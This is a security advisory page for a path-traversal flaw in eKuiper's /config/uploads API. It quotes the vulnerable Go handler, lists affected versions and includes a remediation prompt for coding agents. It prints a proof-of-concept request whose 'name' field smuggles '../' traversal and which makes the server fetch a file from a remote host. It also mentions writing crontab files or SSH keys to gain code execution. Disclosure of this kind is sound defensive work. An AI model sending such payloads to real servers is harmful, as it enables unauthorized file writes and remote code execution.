# GHSA-gj54-gwj9-x2c6: eKuiper /config/uploads API arbitrary file writing may lead to RCE

> Unauthenticated attackers can write arbitrary files via path traversal in the upload API, potentially achieving remote code execution.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 3 Jul 2025
- **Also known as:** GO-2025-3800

## What is GHSA-gj54-gwj9-x2c6?

GHSA-gj54-gwj9-x2c6 is a path traversal vulnerability in github.com/lf-edge/ekuiper, published on 3 Jul 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

### Summary
eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.

### Details
```go 
func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
	switch r.Method {
	// Upload or overwrite a file
	case http.MethodPost:
		switch r.Header.Get("Content-Type") {
		case "application/json":
			fc := &fileContent{}
			defer r.Body.Close()
			err := json.NewDecoder(r.Body).Decode(fc)
			if err != nil {
				handleError(w, err, "Invalid body: Error decoding file json", logger)
				return
			}
			err = fc.Validate()
			if err != nil {
				handleError(w, err, "Invalid body: missing necessary field", logger)
				return
			}

			filePath := filepath.Join(uploadDir, fc.Name)
			err = upload(fc)
```
- The fc.Name parameter do not safely filtered.

### PoC
```
POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89

{
  "name": "../../../../tmp/success",
 "file": "http://192.168.65.254:8888/success"
}
```
![image](https://github.com/user-attachments/assets/9ac23194-f5fd-49d3-ba54-334a7831739a)

### Impact

Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.

1. SSRF
2. Path-Travel
3. May leads to RCE

The reporters is m0d9 from Tencent YunDing Lab.

## Which versions are affected by GHSA-gj54-gwj9-x2c6?

6 open source packages ship an affected version, including github.com/lf-edge/ekuiper and github.com/lf-edge/ekuiper/v2.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `github.com/lf-edge/ekuiper` | Go | All versions | None |
| `github.com/lf-edge/ekuiper` | Go | All versions to 1.14.7 | None |
| `github.com/lf-edge/ekuiper` | Go | All versions to 1.14.7 | None |
| `github.com/lf-edge/ekuiper/v2` | Go | All versions | 2.2.0 |
| `github.com/lf-edge/ekuiper/v2` | Go | All versions | 2.2.0 |
| `github.com/lf-edge/ekuiper/v2` | Go | All versions | 2.2.0 |

## How do I fix GHSA-gj54-gwj9-x2c6?

Apply the vendor's patch.

## Is GHSA-gj54-gwj9-x2c6 being exploited?

There is no known exploitation of GHSA-gj54-gwj9-x2c6 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-gj54-gwj9-x2c6 and fix it if it is affected.

What it is: GHSA-gj54-gwj9-x2c6 is a path traversal vulnerability in github.com/lf-edge/ekuiper, published on 3 Jul 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-gj54-gwj9-x2c6 in the wild and no public exploit code.

Affected packages and fixed versions:
- github.com/lf-edge/ekuiper (Go): affected all versions; no fix listed
- github.com/lf-edge/ekuiper (Go): affected all versions up to 1.14.7; no fix listed
- github.com/lf-edge/ekuiper (Go): affected all versions up to 1.14.7; no fix listed
- github.com/lf-edge/ekuiper/v2 (Go): affected all versions; fixed in 2.2.0
- github.com/lf-edge/ekuiper/v2 (Go): affected all versions; fixed in 2.2.0
- github.com/lf-edge/ekuiper/v2 (Go): affected all versions; fixed in 2.2.0

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-gj54-gwj9-x2c6/ (Markdown: https://insights.sbomify.com/GHSA-gj54-gwj9-x2c6/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-gj54-gwj9-x2c6

---
From sbomify Insights: https://insights.sbomify.com/GHSA-gj54-gwj9-x2c6/
Summaries are generated and may contain mistakes; the official description above is the record.
